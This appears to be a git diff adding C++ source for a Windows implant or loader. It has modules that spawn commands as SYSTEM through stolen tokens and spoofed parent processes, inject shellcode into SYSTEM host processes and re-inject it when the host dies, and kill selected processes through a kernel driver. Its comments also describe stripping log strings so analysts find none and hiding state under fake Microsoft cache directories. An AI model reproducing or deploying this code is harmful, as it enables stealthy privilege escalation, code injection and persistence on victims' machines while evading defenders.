result.error = L"preferred host is not injectable (PPL or access denied): " + + h.imageName; + return result; + } + } + + result.error = L"preferred host not running: " + preferredImage; + return result; + } + + if (!chosen) + { + result.error = L"no injectable SYSTEM host process found"; + return result; + } + + result.hostImage = chosen->imagePath; + + HANDLE host = OpenProcess( + PROCESS_CREATE_PROCESS | PROCESS_QUERY_LIMITED_INFORMATION, + FALSE, + chosen->pid); + + if (!host) + { + result.error = L"OpenProcess(PROCESS_CREATE_PROCESS) failed: " + + std::to_wstring(GetLastError()); + return result; + } + + HANDLE hostToken = nullptr; + HANDLE primary = nullptr; + + if (OpenProcessToken(host, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hostToken)) + { + if (DuplicateTokenEx( + hostToken, + MAXIMUM_ALLOWED, + nullptr, + SecurityImpersonation, + TokenPrimary, + &primary)) + { + if (userSession) + { + DWORD session = WTSGetActiveConsoleSessionId(); + SetTokenInformation(primary, TokenSessionId, &session, sizeof(session)); + result.sessionId = session; + } + else + { + DWORD session = 0; + DWORD len = sizeof(session); + + if (GetTokenInformation(primary, TokenSessionId, &session, len, &len)) + result.sessionId = session; + } + } + } + + if (hostToken) + CloseHandle(hostToken); + + if (!primary) + { + CloseHandle(host); + result.error = L"cannot duplicate host token: " + std::to_wstring(GetLastError()); + return result; + } + + STARTUPINFOEXW si{}; + si.StartupInfo.cb = sizeof(si); + + SIZE_T attrSize = 0; + InitializeProcThreadAttributeList(nullptr, 1, 0, &attrSize); + + std::vector attrBuf(attrSize); + si.lpAttributeList = reinterpret_cast(attrBuf.data()); + + bool started = false; + + if (InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize)) + { + if (UpdateProcThreadAttribute( + si.lpAttributeList, + 0, + PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, + &host, + sizeof(host), + nullptr, + nullptr)) + { + if (userSession) + si.StartupInfo.lpDesktop = const_cast(L"winsta0\\default"); + + LPVOID env = nullptr; + CreateEnvironmentBlock(&env, primary, FALSE); + + std::wstring mutableCmd = commandLine; + PROCESS_INFORMATION pi{}; + + started = CreateProcessAsUserW( + primary, + nullptr, + mutableCmd.data(), + nullptr, + nullptr, + FALSE, + EXTENDED_STARTUPINFO_PRESENT | CREATE_UNICODE_ENVIRONMENT, + env, + nullptr, + &si.StartupInfo, + &pi) != FALSE; + + if (started) + { + result.ok = true; + result.pid = pi.dwProcessId; + result.parentPid = chosen->pid; + result.method = L"host-token+ppid"; + + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + } + else + { + result.error = L"CreateProcessAsUser failed: " + + std::to_wstring(GetLastError()); + } + + if (env) + DestroyEnvironmentBlock(env); + } + else + { + result.error = L"UpdateProcThreadAttribute failed: " + + std::to_wstring(GetLastError()); + } + + DeleteProcThreadAttributeList(si.lpAttributeList); + } + else + { + result.error = L"InitializeProcThreadAttributeList failed: " + + std::to_wstring(GetLastError()); + } + + CloseHandle(primary); + CloseHandle(host); + + Log(L"[host] spawn %s -> pid=%lu parent=%lu host=%s ok=%d %s", + commandLine.c_str(), + result.pid, + result.parentPid, + result.hostImage.c_str(), + result.ok ? 1 : 0, + result.error.c_str()); + + return result; +} + +std::wstring FormatHostList(const std::vector& hosts) +{ + std::wostringstream os; + + os << L"hosts=" << hosts.size(); + + size_t shown = 0; + + for (const auto& h : hosts) + { + if (shown >= 15) + { + os << L"\r\n ..."; + break; + } + + ++shown; + + os << L"\r\n " << h.pid + << L" session=" << h.sessionId + << L" score=" << h.score + << L" system=" << (h.systemToken ? 1 : 0) + << L" injectable=" << (h.injectable ? 1 : 0) + << L" " << h.imageName; + } + + return os.str(); +} + +std::wstring FormatSpawnResult(const SpawnResult& r) +{ + if (!r.ok) + return L"ERR " + (r.error.empty() ? std::wstring(L"spawn failed") : r.error); + + std::wostringstream os; + + os << L"OK pid=" << r.pid + << L" parent=" << r.parentPid + << L" session=" << r.sessionId; + + if (!r.hostImage.empty()) + os << L" host=" << r.hostImage; + + if (!r.method.empty()) + os << L" method=" << r.method; + + return os.str(); +} + + diff --git a/HostSpawn.h b/HostSpawn.h new file mode 100644 index 0000000..0066b0a --- /dev/null +++ b/HostSpawn.h @@ -0,0 +1,53 @@ +#pragma once + +#include + +#include +#include + +struct HostInfo +{ + DWORD pid = 0; + DWORD sessionId = 0; + std::wstring imagePath; + std::wstring imageName; + bool systemToken = false; // token SID is S-1-5-18 + bool injectable = false; // not PPL-protected, thread/VM rights available + int score = 0; // higher = better host candidate +}; + +struct SpawnResult +{ + bool ok = false; + DWORD pid = 0; + DWORD parentPid = 0; + DWORD sessionId = 0; + std::wstring hostImage; + std::wstring method; + std::wstring error; +}; + +// Enumerates processes that hold a SYSTEM token, sorted best-first. +std::vector EnumerateSystemHosts(); + +// Same enumeration, optionally including non-SYSTEM hosts. Used for testing the +// token/parent plumbing without elevation. +std::vector EnumerateHosts(bool requireSystem); + +// Starts an arbitrary command as SYSTEM, with the chosen host as its parent +// process. The child carries the host's token, so the process tree reads as +// legitimate: svchost.exe -> your program. +// +// preferredImage may be empty; pass "svchost.exe" to force that host family. +// userSession = true moves the child into the active console session so a GUI +// appears on the logged-in desktop. +SpawnResult SpawnThroughHost( + const std::wstring& commandLine, + const std::wstring& preferredImage, + bool userSession, + bool requireSystem = true); + +// One-line summary for command ACKs. +std::wstring FormatHostList(const std::vector& hosts); +std::wstring FormatSpawnResult(const SpawnResult& r); + diff --git a/HostStager.cpp b/HostStager.cpp new file mode 100644 index 0000000..77be28d --- /dev/null +++ b/HostStager.cpp @@ -0,0 +1,367 @@ +#include "Common.h" +#include "HostStager.h" +#include "HostSpawn.h" +#include "ShellcodeUtils.h" +#include "Logger.h" +#include "Paths.h" + +#include +#include + +static std::string ToUtf8(const std::wstring& w) +{ + if (w.empty()) + return std::string(); + + int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr); + + if (need <= 0) + return std::string(); + + std::string out(need, '\0'); + WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr); + + return out; +} + +static std::wstring FromUtf8(const std::string& s) +{ + if (s.empty()) + return std::wstring(); + + int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0); + + if (need <= 0) + return std::wstring(); + + std::wstring out(need, L'\0'); + MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need); + + return out; +} + +static std::wstring TrackPath() +{ + return ArdrvStatePath(); +} + +bool GetProcessCreateTime(DWORD pid, unsigned long long& out) +{ + out = 0; + + HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + + if (!h) + return false; + + FILETIME created{}, exited{}, kernel{}, user{}; + + bool ok = GetProcessTimes(h, &created, &exited, &kernel, &user) != FALSE; + + CloseHandle(h); + + if (!ok) + return false; + + ULARGE_INTEGER u{}; + u.LowPart = created.dwLowDateTime; + u.HighPart = created.dwHighDateTime; + out = u.QuadPart; + + return true; +} + +bool HostStillAlive(const HostTrack& track) +{ + if (track.pid == 0) + return false; + + unsigned long long created = 0; + + if (!GetProcessCreateTime(track.pid, created)) + return false; + + if (track.creationTime != 0 && created != track.creationTime) + return false; // PID was recycled into a different process + + return true; +} + +HostTrack LoadHostTrack() +{ + HostTrack t; + + std::wstring trackFile = TrackPath(); + + // One-time migration from the old flat layout. + if (GetFileAttributesW(trackFile.c_str()) == INVALID_FILE_ATTRIBUTES) + { + std::wstring legacy = ArdrvLegacyStatePath(); + + if (GetFileAttributesW(legacy.c_str()) != INVALID_FILE_ATTRIBUTES) + { + EnsureDirExists(ArdrvRoot()); + + if (CopyFileW(legacy.c_str(), trackFile.c_str(), FALSE)) + DeleteFileW(legacy.c_str()); + } + } + + HANDLE h = CreateFileW( + trackFile.c_str(), + GENERIC_READ, + FILE_SHARE_READ | FILE_SHARE_WRITE, + nullptr, + OPEN_EXISTING, + 0, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + return t; + + char buf[4096]{}; + DWORD read = 0; + ReadFile(h, buf, sizeof(buf) - 1, &read, nullptr); + CloseHandle(h); + + std::string text(buf, read); + std::wstring wide = FromUtf8(text); + + std::wistringstream in(wide); + std::wstring line; + + while (std::getline(in, line)) + { + size_t eq = line.find(L'='); + + if (eq == std::wstring::npos) + continue; + + std::wstring key = line.substr(0, eq); + std::wstring value = line.substr(eq + 1); + + while (!value.empty() && (value.back() == L'\r' || value.back() == L'\n')) + value.pop_back(); + + if (key == L"pid") + t.pid = (DWORD)wcstoul(value.c_str(), nullptr, 10); + else if (key == L"created") + t.creationTime = _wcstoui64(value.c_str(), nullptr, 16); + else if (key == L"payload") + t.payload = value; + else if (key == L"host") + t.hostImage = value; + } + + return t; +} + +bool SaveHostTrack(const HostTrack& track) +{ + std::wostringstream os; + + os << L"pid=" << track.pid << L"\r\n"; + + wchar_t created[32]{}; + swprintf_s(created, L"%016llx", track.creationTime); + os << L"created=" << created << L"\r\n"; + + os << L"payload=" << track.payload << L"\r\n"; + os << L"host=" << track.hostImage << L"\r\n"; + + std::string bytes = ToUtf8(os.str()); + + HANDLE h = CreateFileW( + TrackPath().c_str(), + GENERIC_WRITE, + 0, + nullptr, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + nullptr); + + if (h == INVALID_HANDLE_VALUE) + { + Log(L"[-] SaveHostTrack: create failed: %lu", GetLastError()); + return false; + } + + DWORD written = 0; + BOOL ok = WriteFile(h, bytes.data(), (DWORD)bytes.size(), &written, nullptr); + CloseHandle(h); + + return ok && written == bytes.size(); +} + +bool ClearHostTrack() +{ + return DeleteFileW(TrackPath().c_str()) != FALSE; +} + +HostInjectResult InjectShellcodeIntoHost( + const std::wstring& shellcodePath, + const std::wstring& preferredImage, + bool requireSystem) +{ + HostInjectResult result; + + if (shellcodePath.empty()) + { + result.error = L"no shellcode path"; + return result; + } + + std::wstring full = shellcodePath; + wchar_t abs[4096]{}; + + if (GetFullPathNameW(shellcodePath.c_str(), _countof(abs), abs, nullptr)) + full = abs; + + std::vector payload; + + if (!ReadFileToMemory(full.c_str(), payload)) + { + result.error = L"cannot read shellcode: " + full; + return result; + } + + std::vector hosts = EnumerateHosts(requireSystem); + + HostInfo* chosen = nullptr; + + for (auto& h : hosts) + { + if (!h.injectable) + continue; + + if (requireSystem && !h.systemToken) + continue; + + if (!preferredImage.empty() && + _wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0) + { + continue; + } + + chosen = &h; + break; + } + + if (!chosen) + { + result.error = hosts.empty() + ? L"no host process found (need admin or SYSTEM)" + : L"no injectable host available"; + return result; + } + + unsigned long long created = 0; + + if (!GetProcessCreateTime(chosen->pid, created)) + { + result.error = L"cannot read host creation time"; + return result; + } + + if (!InjectShellcodeIntoExisting(chosen->pid, payload.data(), payload.size())) + { + result.error = L"injection failed into " + chosen->imageName; + return result; + } + + result.ok = true; + result.hostPid = chosen->pid; + result.hostSession = chosen->sessionId; + result.creationTime = created; + result.hostImage = chosen->imagePath; + result.method = L"remote-thread"; + + HostTrack track; + track.pid = result.hostPid; + track.creationTime = created; + track.payload = full; + track.hostImage = result.hostImage; + + if (!SaveHostTrack(track)) + result.method += L"+track-failed"; + + Log(L"[host] injected %s into %s pid=%lu", + full.c_str(), + result.hostImage.c_str(), + result.hostPid); + + return result; +} + +HostInjectResult EnsureHostInjected(bool requireSystem) +{ + HostInjectResult result; + + HostTrack track = LoadHostTrack(); + + if (!track.Tracked()) + { + result.error = L"no host payload configured"; + return result; + } + + if (HostStillAlive(track)) + { + result.ok = true; + result.hostPid = track.pid; + result.creationTime = track.creationTime; + result.hostImage = track.hostImage; + result.method = L"already-running"; + + DWORD session = 0; + + if (ProcessIdToSessionId(track.pid, &session)) + result.hostSession = session; + + return result; + } + + Log(L"[host] previous host gone (pid=%lu), re-injecting", track.pid); + + result = InjectShellcodeIntoHost(track.payload, L"", requireSystem); + + if (!result.ok) + Log(L"[-] host re-inject failed: %s", result.error.c_str()); + + return result; +} + +std::wstring FormatInjectResult(const HostInjectResult& r) +{ + if (!r.ok) + return L"ERR " + (r.error.empty() ? std::wstring(L"inject failed") : r.error); + + std::wostringstream os; + + os << L"OK host_pid=" << r.hostPid + << L" session=" << r.hostSession + << L" method=" << r.method; + + if (!r.hostImage.empty()) + os << L" host=" << r.hostImage; + + return os.str(); +} + +std::wstring FormatHostTrack(const HostTrack& t) +{ + if (!t.Tracked()) + return L"track=none"; + + std::wostringstream os; + + os << L"track pid=" << t.pid + << L" alive=" << (HostStillAlive(t) ? 1 : 0) + << L" payload=" << t.payload; + + if (!t.hostImage.empty()) + os << L" host=" << t.hostImage; + + return os.str(); +} + diff --git a/HostStager.h b/HostStager.h new file mode 100644 index 0000000..d135cdb --- /dev/null +++ b/HostStager.h @@ -0,0 +1,50 @@ +#pragma once + +#include + +#include + +struct HostInjectResult +{ + bool ok = false; + DWORD hostPid = 0; + DWORD hostSession = 0; + unsigned long long creationTime = 0; + std::wstring hostImage; + std::wstring method; + std::wstring error; +}; + +struct HostTrack +{ + DWORD pid = 0; + unsigned long long creationTime = 0; + std::wstring payload; + std::wstring hostImage; + + bool Tracked() const { return pid != 0 && !payload.empty(); } +}; + +// Injects the shellcode at 'shellcodePath' into the best SYSTEM host process. +// Identity is recorded (pid + creation time) so a recycled PID is never treated +// as the same host. +HostInjectResult InjectShellcodeIntoHost( + const std::wstring& shellcodePath, + const std::wstring& preferredImage, + bool requireSystem); + +// True when the tracked pid still exists AND its creation time matches, which +// rejects PID reuse. +bool HostStillAlive(const HostTrack& track); + +bool GetProcessCreateTime(DWORD pid, unsigned long long& out); + +HostTrack LoadHostTrack(); +bool SaveHostTrack(const HostTrack& track); +bool ClearHostTrack(); + +// Used by the guard role: re-injects only when the previous host is gone. +HostInjectResult EnsureHostInjected(bool requireSystem = true); + +std::wstring FormatInjectResult(const HostInjectResult& r); +std::wstring FormatHostTrack(const HostTrack& t); diff --git a/KillSafety.cpp b/KillSafety.cpp new file mode 100644 index 0000000..cf8cdd2 --- /dev/null +++ b/KillSafety.cpp @@ -0,0 +1,451 @@ +#include "Common.h" +#include "KillSafety.h" +#include "DriverClient.h" +#include "Logger.h" + +#include +#include +#include +#include + +static std::wstring Lower(const std::wstring& s) +{ + std::wstring out = s; + + for (auto& c : out) + c = (wchar_t)towlower(c); + + return out; +} + +static std::wstring BaseNameFromPath(const std::wstring& path) +{ + size_t slash = path.find_last_of(L"\\/"); + + if (slash == std::wstring::npos) + return path; + + return path.substr(slash + 1); +} + +bool IsProtectedImage(const std::wstring& imageName) +{ + static const wchar_t* protectedImages[] = + { + // Kernel / session manager / critical subsystems. Terminate any of + // these and the machine bugchecks immediately. + L"system", + L"registry", + L"memcompression", + L"smss.exe", + L"csrss.exe", + L"wininit.exe", + L"winlogon.exe", + L"services.exe", + L"lsass.exe", + L"svchost.exe", + L"fontdrvhost.exe", + L"dwm.exe", + L"wudfhost.exe", + L"sihost.exe", + L"ctfmon.exe", + L"explorer.exe", + L"taskhostw.exe", + L"logonui.exe", + L"userinit.exe", + L"wininit.exe", + L"spoolsv.exe", + L"audiodg.exe", + L"conhost.exe", + L"sshd.exe", + }; + + const std::wstring lower = Lower(imageName); + + for (const wchar_t* p : protectedImages) + { + if (lower == Lower(p)) + return true; + } + + return false; +} + +// Collect our own pid and every ancestor up to the root. +static std::set SelfAndAncestors() +{ + std::set result; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snap == INVALID_HANDLE_VALUE) + { + result.insert(GetCurrentProcessId()); + return result; + } + + std::vector> links; // pid -> parent pid + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + if (Process32First(snap, &pe)) + { + do + { + links.push_back({ pe.th32ProcessID, pe.th32ParentProcessID }); + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + + DWORD cur = GetCurrentProcessId(); + + for (int depth = 0; depth < 16 && cur != 0; ++depth) + { + if (!result.insert(cur).second) + break; + + DWORD parent = 0; + + for (const auto& link : links) + { + if (link.first == cur) + { + parent = link.second; + break; + } + } + + cur = parent; + } + + return result; +} + +static std::vector PidsForImage(const std::wstring& imageName) +{ + std::vector pids; + + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (snap == INVALID_HANDLE_VALUE) + return pids; + + PROCESSENTRY32W pe{}; + pe.dwSize = sizeof(pe); + + if (Process32First(snap, &pe)) + { + do + { + if (_wcsicmp(pe.szExeFile, imageName.c_str()) == 0) + pids.push_back(pe.th32ProcessID); + } while (Process32Next(snap, &pe)); + } + + CloseHandle(snap); + return pids; +} + +bool KillReport::Refused(KillOutcome o) const +{ + return o == KillOutcome::Protected || + o == KillOutcome::SelfOrAncestor || + o == KillOutcome::IdentityMismatch; +} + +std::wstring KillReport::Format() const +{ + std::wostringstream os; + + os << (dryRun ? L"DRY-RUN" : L"EXECUTED") + << L" killed=" << killed + << L" candidates=" << attempts.size(); + + const size_t maxLines = 30; + size_t shown = 0; + + for (const auto& a : attempts) + { + if (shown >= maxLines) + { + os << L"\r\n ... " << (attempts.size() - shown) << L" more"; + break; + } + + ++shown; + + const wchar_t* state = L"?"; + + switch (a.outcome) + { + case KillOutcome::WouldKill: state = L"would-kill"; break; + case KillOutcome::Killed: state = L"killed"; break; + case KillOutcome::Protected: state = L"SKIP protected"; break; + case KillOutcome::SelfOrAncestor: state = L"SKIP own-tree"; break; + case KillOutcome::IdentityMismatch:state = L"SKIP identity"; break; + case KillOutcome::OpenFailed: state = L"skip open-failed"; break; + case KillOutcome::AccessDenied: state = L"SKIP access-denied(needs SYSTEM or PPL)"; break; + case KillOutcome::DriverFailed: state = L"driver-failed"; break; + } + + os << L"\r\n " << a.pid << L" " << state; + + if (!a.imagePath.empty()) + os << L" " << a.imagePath; + } + + return os.str(); +} + +void KillProcessesSafe( + const std::vector& imageNames, + bool dryRun, + DWORD maxKills, + KillReport& report, + bool allowBlindDriver) +{ + report = KillReport(); + report.dryRun = dryRun; + + if (maxKills == 0) + maxKills = 16; + + const std::set own = SelfAndAncestors(); + + std::set seen; + DWORD kills = 0; + + for (const auto& requested : imageNames) + { + if (kills >= maxKills) + break; + + if (requested.empty()) + continue; + + const std::wstring requestedBase = BaseNameFromPath(requested); + + // Refuse before enumerating: a protected image is never a candidate. + if (IsProtectedImage(requestedBase)) + { + KillAttempt blocked; + blocked.outcome = KillOutcome::Protected; + blocked.imagePath = requestedBase; + report.attempts.push_back(blocked); + continue; + } + + for (DWORD pid : PidsForImage(requestedBase)) + { + if (kills >= maxKills) + break; + + if (pid == 0 || pid == 4 || pid <= 4) + continue; + + if (!seen.insert(pid).second) + continue; + + KillAttempt attempt; + attempt.pid = pid; + + if (own.count(pid)) + { + attempt.outcome = KillOutcome::SelfOrAncestor; + report.attempts.push_back(attempt); + continue; + } + + // Hold the handle across the IOCTL: the process object stays alive, + // so the PID cannot be recycled into something critical mid-kill. + HANDLE proc = OpenProcess( + PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_TERMINATE, + FALSE, + pid); + + if (!proc) + { + // User-mode terminate is refused for PPL / SYSTEM images. The + // driver path does not need PROCESS_TERMINATE, so verify identity + // through a query handle and hand the PID to the kernel. + HANDLE queryOnly = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + + if (!queryOnly) + { + // Nothing openable (SYSTEM image while we are not elevated). + // Only the kernel can still act, and only when the caller + // explicitly allowed it: re-check the PID against a fresh + // snapshot so a recycled PID cannot slip through. + bool stillMatches = false; + + for (DWORD again : PidsForImage(requestedBase)) + { + if (again == pid) + { + stillMatches = true; + break; + } + } + + if (allowBlindDriver && stillMatches && !IsProtectedImage(requestedBase)) + { + if (dryRun) + { + attempt.outcome = KillOutcome::WouldKill; + attempt.imagePath += L" (driver)"; + report.attempts.push_back(attempt); + continue; + } + + const bool viaDriver = TerminateProcessViaDriver(pid); + + if (viaDriver) + { + attempt.outcome = KillOutcome::Killed; + ++kills; + report.killed = (int)kills; + } + else + { + attempt.outcome = KillOutcome::DriverFailed; + } + + report.attempts.push_back(attempt); + Sleep(150 + (GetTickCount() % 200)); + continue; + } + + attempt.outcome = + (GetLastError() == ERROR_ACCESS_DENIED) + ? KillOutcome::AccessDenied + : KillOutcome::OpenFailed; + + report.attempts.push_back(attempt); + continue; + } + + wchar_t fullPath[4096]{}; + DWORD len = _countof(fullPath); + + if (!QueryFullProcessImageNameW(queryOnly, 0, fullPath, &len)) + { + CloseHandle(queryOnly); + attempt.outcome = KillOutcome::OpenFailed; + report.attempts.push_back(attempt); + continue; + } + + attempt.imagePath.assign(fullPath, len); + + const std::wstring actualBase = BaseNameFromPath(attempt.imagePath); + + if (_wcsicmp(actualBase.c_str(), requestedBase.c_str()) != 0) + { + CloseHandle(queryOnly); + attempt.outcome = KillOutcome::IdentityMismatch; + report.attempts.push_back(attempt); + continue; + } + + if (IsProtectedImage(actualBase)) + { + CloseHandle(queryOnly); + attempt.outcome = KillOutcome::Protected; + report.attempts.push_back(attempt); + continue; + } + + if (dryRun) + { + CloseHandle(queryOnly); + attempt.outcome = KillOutcome::WouldKill; + report.attempts.push_back(attempt); + continue; + } + + const bool viaDriver = TerminateProcessViaDriver(pid); + + CloseHandle(queryOnly); + + if (viaDriver) + { + attempt.outcome = KillOutcome::Killed; + ++kills; + report.killed = (int)kills; + } + else + { + attempt.outcome = KillOutcome::DriverFailed; + } + + report.attempts.push_back(attempt); + + Sleep(150 + (GetTickCount() % 200)); + continue; + } + + wchar_t fullPath[4096]{}; + DWORD len = _countof(fullPath); + + if (!QueryFullProcessImageNameW(proc, 0, fullPath, &len)) + { + CloseHandle(proc); + attempt.outcome = KillOutcome::OpenFailed; + report.attempts.push_back(attempt); + continue; + } + + attempt.imagePath.assign(fullPath, len); + + const std::wstring actualBase = BaseNameFromPath(attempt.imagePath); + + // Identity must match what we asked to kill, otherwise it is a + // different image that happened to share a PID or a name variant. + if (_wcsicmp(actualBase.c_str(), requestedBase.c_str()) != 0) + { + CloseHandle(proc); + attempt.outcome = KillOutcome::IdentityMismatch; + report.attempts.push_back(attempt); + continue; + } + + if (IsProtectedImage(actualBase)) + { + CloseHandle(proc); + attempt.outcome = KillOutcome::Protected; + report.attempts.push_back(attempt); + continue; + } + + if (dryRun) + { + CloseHandle(proc); + attempt.outcome = KillOutcome::WouldKill; + report.attempts.push_back(attempt); + continue; + } + + const bool ok = TerminateProcessViaDriver(pid); + + CloseHandle(proc); + + if (ok) + { + attempt.outcome = KillOutcome::Killed; + ++kills; + report.killed = (int)kills; + } + else + { + attempt.outcome = KillOutcome::DriverFailed; + } + + report.attempts.push_back(attempt); + + // Space kills out; a tight loop of terminate IOCTLs is both noisy + // and a good way to catch a scheduler hiccup. + Sleep(150 + (GetTickCount() % 200)); + } + } +} diff --git a/KillSafety.h b/KillSafety.h new file mode 100644 index 0000000..25a36c4 --- /dev/null +++ b/KillSafety.h @@ -0,0 +1,53 @@ +#pragma once + +#include + +#include +#include + +// Result of evaluating a single candidate process. +enum class KillOutcome +{ + WouldKill, // dry run: everything checked out, nothing was done + Killed, + Protected, // image is on the never-touch list + SelfOrAncestor, // our own process or one of its parents + IdentityMismatch, // image path did not match the requested name + OpenFailed, + AccessDenied, // PPL / protected process: cannot even open for terminate + DriverFailed, +}; + +struct KillAttempt +{ + DWORD pid = 0; + std::wstring imagePath; + KillOutcome outcome = KillOutcome::OpenFailed; +}; + +struct KillReport +{ + bool dryRun = false; + int killed = 0; + std::vector attempts; + + bool Refused(KillOutcome o) const; + std::wstring Format() const; +}; + +// True for images that must never be terminated: terminating any of these +// takes the machine down. +bool IsProtectedImage(const std::wstring& imageName); + +// Terminates processes with the given image name through the driver, one at a +// time, with full identity verification. Never kills more than maxKills, +// never kills the caller or its ancestors, never kills a protected image. +// +// The process handle is held across the IOCTL, so the PID cannot be recycled +// between verification and termination. +void KillProcessesSafe( + const std::vector& imageNames, + bool dryRun, + DWORD maxKills, + KillReport& report, + bool allowBlindDriver = false); diff --git a/Logger.cpp b/Logger.cpp new file mode 100644 index 0000000..96d4bf6 --- /dev/null +++ b/Logger.cpp @@ -0,0 +1,55 @@ +#include "Common.h" +#include "Logger.h" + +#if ARDRV_LOG_ENABLED + +#define ARDRV_LOG_FILE L"C:\\Users\\Public\\ardrv_loader.log" + +void LogImpl(const wchar_t* fmt, ...) +{ + wchar_t buf[8192]; + buf[0] = L'\0'; + + va_list args; + + va_start(args, fmt); + int n = _vscwprintf(fmt, args); + va_end(args); + + if (n < 0) + n = 0; + + if (n > (int)_countof(buf) - 3) + n = (int)_countof(buf) - 3; + + va_start(args, fmt); + _vsnwprintf_s(buf, (size_t)(_countof(buf) - 1), (size_t)n, fmt, args); + va_end(args); + + buf[n] = L'\r'; + buf[n + 1] = L'\n'; + buf[n + 2] = L'\0'; + + HANDLE hFile = CreateFileW( + ARDRV_LOG_FILE, + GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + nullptr, + OPEN_ALWAYS, + 0, + nullptr); + + if (hFile != INVALID_HANDLE_VALUE) + { + LARGE_INTEGER zero{}; + SetFilePointerEx(hFile, zero, nullptr, FILE_END); + + DWORD written = 0; + WriteFile(hFile, buf, (DWORD)((n + 2) * sizeof(WCHAR)), &written, nullptr); + CloseHandle(hFile); + } + + OutputDebugStringW(buf); +} + +#endif diff --git a/Logger.h b/Logger.h new file mode 100644 index 0000000..11f7dad --- /dev/null +++ b/Logger.h @@ -0,0 +1,24 @@ +#pragma once + +// Logging is compiled in for Debug builds only. In Release the macro expands to +// nothing, so neither the format string nor its arguments survive into the +// binary - no log file, no debug output, no strings for an analyst to read. +#ifndef ARDRV_LOG_ENABLED +#ifdef _DEBUG +#define ARDRV_LOG_ENABLED 1 +#else +#define ARDRV_LOG_ENABLED 0 +#endif +#endif + +#if ARDRV_LOG_ENABLED + +void LogImpl(const wchar_t* fmt, ...); + +#define Log(...) LogImpl(__VA_ARGS__) + +#else + +#define Log(...) ((void)0) + +#endif diff --git a/Paths.cpp b/Paths.cpp new file mode 100644 index 0000000..28b6968 --- /dev/null +++ b/Paths.cpp @@ -0,0 +1,229 @@ +#include "Common.h" +#include "Paths.h" + +#include + +static std::wstring ProgramDataDir() +{ + wchar_t buf[MAX_PATH]{}; + + DWORD n = GetEnvironmentVariableW(L"ProgramData", buf, _countof(buf)); + + if (n > 0 && n < _countof(buf)) + return buf; + + return L"C:\\ProgramData"; +} + +static std::wstring MachineGuid() +{ + HKEY key = nullptr; + std::wstring out; + + if (RegOpenKeyExW( + HKEY_LOCAL_MACHINE, + L"SOFTWARE\\Microsoft\\Cryptography", + 0, + KEY_READ | KEY_WOW64_64KEY, + &key) == ERROR_SUCCESS) + { + wchar_t buf[128]{}; + DWORD size = sizeof(buf); + DWORD type = 0; + + if (RegQueryValueExW(key, L"MachineGuid", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && + type == REG_SZ) + { + out = buf; + } + + RegCloseKey(key); + } + + if (out.empty()) + { + // Fall back to the volume serial so the path is still per-machine. + DWORD serial = 0; + + if (!GetVolumeInformationW(L"C:\\", nullptr, 0, &serial, nullptr, nullptr, nullptr, 0)) + serial = 0x12345678; + + wchar_t hex[16]{}; + swprintf_s(hex, L"%08lx", serial); + out = hex; + } + + return out; +} + +// FNV-1a over the machine GUID: 8 hex chars, stable on this host only. +static std::wstring MachineTag() +{ + const std::wstring guid = MachineGuid(); + + unsigned int hash = 2166136261u; + + for (wchar_t c : guid) + { + hash ^= (unsigned int)(c & 0xFF); + hash *= 16777619u; + hash ^= (unsigned int)((c >> 8) & 0xFF); + hash *= 16777619u; + } + + wchar_t out[16]{}; + swprintf_s(out, L"%08x", hash); + + return out; +} + +static std::wstring LocalAppDataDir() +{ + wchar_t buf[MAX_PATH]{}; + + DWORD n = GetEnvironmentVariableW(L"LOCALAPPDATA", buf, _countof(buf)); + + if (n > 0 && n < _countof(buf)) + return buf; + + return ProgramDataDir(); +} + +static bool RunningElevatedOrSystem() +{ + HANDLE token = nullptr; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token)) + return false; + + TOKEN_ELEVATION elevation{}; + DWORD len = sizeof(elevation); + bool elevated = false; + + if (GetTokenInformation(token, TokenElevation, &elevation, len, &len)) + elevated = elevation.TokenIsElevated != 0; + + if (!elevated) + { + // SYSTEM is never "elevated" in the UAC sense but is fully privileged. + DWORD needed = 0; + GetTokenInformation(token, TokenUser, nullptr, 0, &needed); + + if (needed > 0) + { + std::vector buf(needed); + PTOKEN_USER tu = reinterpret_cast(buf.data()); + + if (GetTokenInformation(token, TokenUser, tu, needed, &needed)) + { + LPWSTR sid = nullptr; + + if (ConvertSidToStringSidW(tu->User.Sid, &sid)) + { + elevated = wcscmp(sid, L"S-1-5-18") == 0; + LocalFree(sid); + } + } + } + } + + CloseHandle(token); + return elevated; +} + +std::wstring ArdrvRoot() +{ + wchar_t override[MAX_PATH]{}; + + DWORD n = GetEnvironmentVariableW(L"ARDRV_ROOT", override, _countof(override)); + + if (n > 0 && n < _countof(override)) + { + std::wstring root = override; + EnsureDirExists(root); + return root; + } + + const std::wstring tag = MachineTag(); + const bool elevated = RunningElevatedOrSystem(); + + // Machine-wide deep path for services and elevated runs. + std::wstring machine = ProgramDataDir() + L"\\Microsoft\\Windows\\Caches\\" + tag; + + // Per-user deep path for an agent running as the interactive user. + std::wstring user = LocalAppDataDir() + L"\\Microsoft\\Windows\\INetCache\\" + tag; + + std::wstring preferred = elevated ? machine : user; + std::wstring alternate = elevated ? user : machine; + + EnsureDirExists(preferred); + + if 